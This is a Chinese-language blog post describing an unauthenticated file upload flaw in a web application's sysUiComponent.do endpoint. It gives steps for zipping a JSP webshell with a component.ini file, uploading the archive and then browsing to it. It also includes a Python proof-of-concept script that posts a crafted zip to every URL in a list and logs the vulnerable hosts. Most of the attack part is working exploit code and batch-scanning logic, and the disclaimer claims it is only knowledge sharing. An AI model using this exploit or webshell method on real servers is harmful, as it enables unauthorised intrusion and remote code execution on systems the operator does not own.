赞
踩
http://ip:port/sys/ui/sys_ui_component/sysUiComponent.do?method=upload
访问
http://ip:port/resource/ui-component/2024/1.txt
将shell文件1.jsp,与component.ini文件压缩在一块上传。
上传成功后访问
下面展示一些 内联代码片
。
# -*- coding: utf-8 -*-
import requests
from urlparse import urlparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from concurrent import futures
import threading
threads=[]
class poc:
def __init__(self, url):
self.url = url
self.headers = {
'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
"Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Accept-Encoding": "gzip, deflate",
}
def host(self):
url = urlparse(self.url)
netloc = url.netloc
scheme = url.scheme
return scheme, netloc
def vuln(self, netloc, scheme):
url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
data = {
"file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
}
self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
try:
result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
if result.status_code == 200 and "directoryPath" in result.text:
print(url+u"漏洞存在")
with open(r'2.txt', 'a+') as f:
f.write(url + '\n')
f.close()
print(u"验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
return True
else:
print(url+u"漏洞不存在!")
return False
except Exception as e:
print(url+u"漏洞不存在!")
return False
def main(self):
all = self.host()
scheme = all[0]
netloc = all[1]
self.vuln(netloc, scheme)
if __name__ == '__main__':
with open('1.txt', 'r') as file:
for line in file:
url = line.strip()
poc(url).main()
运行结果截图:
此人仅做知识分享,非法使用与我本人无关。
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。